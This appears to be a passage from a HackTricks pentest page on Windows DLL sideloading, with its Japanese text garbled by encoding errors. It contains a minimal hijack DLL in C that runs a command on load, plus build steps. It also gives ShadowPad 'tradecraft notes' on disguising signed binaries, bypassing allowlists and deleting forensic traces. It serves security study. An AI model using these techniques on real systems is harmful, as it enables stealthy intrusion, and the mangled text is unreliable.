- wsc.dll: attacker DLLãç¹å®ã®ãšã¯ã¹ããŒããäžèŠã§ããã° DllMain ã§ååã§ãïŒããã§ãªãå Žå㯠proxy DLL ãäœæããDllMain ã§ payload ãå®è¡ããªããå¿ èŠãªãšã¯ã¹ããŒããæ£èŠã©ã€ãã©ãªãžãã©ã¯ãŒãããŠãã ããã
- æå°éã® DLL payload ããã«ããã:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
-
ãšã¯ã¹ããŒãèŠä»¶ãããå Žåããããã·ã³ã°ãã¬ãŒã ã¯ãŒã¯ïŒäŸ: DLLirant/SpartacusïŒã䜿çšããŠããã€ããŒããå®è¡ãããã©ã¯ãŒãã£ã³ã°DLLãçæããŸãã
-
ãã®ææ³ã¯ãã¹ããã€ããªã«ããDLLå解決ã«äŸåããŸãããã¹ãã絶察ãã¹ãå®å šãªèªã¿èŸŒã¿ãã©ã°ïŒäŸ: LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectoriesïŒã䜿çšããŠããå Žåãhijackã¯å€±æããå¯èœæ§ããããŸãã
-
KnownDLLsãSxSãããã³ forwarded exports ã¯åªå é äœã«åœ±é¿ãããã¹ããã€ããªããšã¯ã¹ããŒãã»ããã®éžææã«èæ ®ããå¿ èŠããããŸãã
眲åãããäžç¹ã»ããïŒæå·åãã€ããŒãïŒShadowPad ã±ãŒã¹ã¹ã¿ãã£ïŒ
Check Pointã¯ãInk DragonãShadowPadããã£ã¹ã¯äžã§ã³ã¢ãã€ããŒããæå·åãããŸãŸæ£åœãªãœãããŠã§ã¢ã«çŽã蟌ãŸããããã«ãthree-file triad ã䜿çšããŠå±éããæ¹æ³ã説æããŠããŸã:
- Signed host EXE â AMDãRealtekãNVIDIA ã®ãããªãã³ããŒãæªçšãããïŒ
vncutil64.exeãApplicationLogs.exeãmsedge_proxyLog.exeïŒãæ»æè ã¯å®è¡ãã¡ã€ã«ã®ååã Windows ãã€ããªã«èŠããããã«å€æŽããïŒäŸ:conhost.exeïŒããAuthenticode 眲åã¯æå¹ãªãŸãŸã§ããã - Malicious loader DLL â EXEã®é£ã«æåŸ
ãããååã§ãããããããïŒ
vncutil64loc.dllãatiadlxy.dllãmsedge_proxyLogLOC.dllïŒããã®DLLã¯éåžžãScatterBrain ãã¬ãŒã ã¯ãŒã¯ã§é£èªåããã MFC ãã€ããªã§ããããã®å¯äžã®åœ¹å²ã¯æå·åãããããããæ€åºããŠåŸ©å·ããShadowPad ããªãã¬ã¯ãã£ãã«ãããããããšã§ããã - Encrypted payload blob â å€ãã®å Žåãåããã£ã¬ã¯ããªã«
<name>.tmpãšããŠä¿åãããã埩å·ãããã€ããŒããã¡ã¢ãªãããã³ã°ããåŸãããŒãã¯ãã©ã¬ã³ãžãã¯èšŒæ ãç Žå£ããããã«TMPãã¡ã€ã«ãåé€ããã
Tradecraft notes:
- 眲åãããEXEã®ååã倿ŽããŠãïŒPEãããå
ã®å
ã®
OriginalFileNameãä¿æãããŸãŸïŒWindowsãã€ããªã®ããã«èŠãããã€ã€ãã³ããŒã®çœ²åãä¿æã§ãããããå®éã«ã¯ AMD/NVIDIA ã®ãŠãŒãã£ãªãã£ã§ããconhost.exe颚ã®ãã€ããªãé 眮ãã Ink Dragon ã®æå£ãåçŸãããšè¯ãã - å®è¡ãã¡ã€ã«ãä¿¡é ŒããããŸãŸã§ãããããã»ãšãã©ã®èš±å¯ãªã¹ãå¶åŸ¡ã¯æªæããDLLã䞊ãã§é 眮ãããŠããã ãã§è¶³ãããloader DLL ã®ã«ã¹ã¿ãã€ãºã«æ³šåããïŒçœ²åããã芪ã¯éåžžãã®ãŸãŸå®è¡ã§ããã
- ShadowPad ã®åŸ©å·åšã¯ TMP ããããããŒãã®é£ã«ããããããã³ã°åŸã«ãã¡ã€ã«ããŒãåã§ããããæžã蟌ã¿å¯èœã§ããããšãæåŸ ããããã€ããŒããããŒãããããŸã§ãã£ã¬ã¯ããªã坿žãã«ããŠãããã¡ã¢ãªäžã«å±éãããã TMP ãã¡ã€ã«ã¯OPSECã®èгç¹ããå®å šã«åé€ã§ããã
References
- CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
- Microsoft Store - TPQM Assistant UWP
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
- Check Point Research â Nimbus Manticore Deploys New Malware Targeting Europe
- TrustedSec â Hack-cessibility: When DLL Hijacks Meet Windows Helpers
- PoC â api0cradle/Narrator-dll
- Sysinternals Process Monitor
- Unit 42 â Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
- Check Point Research â Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


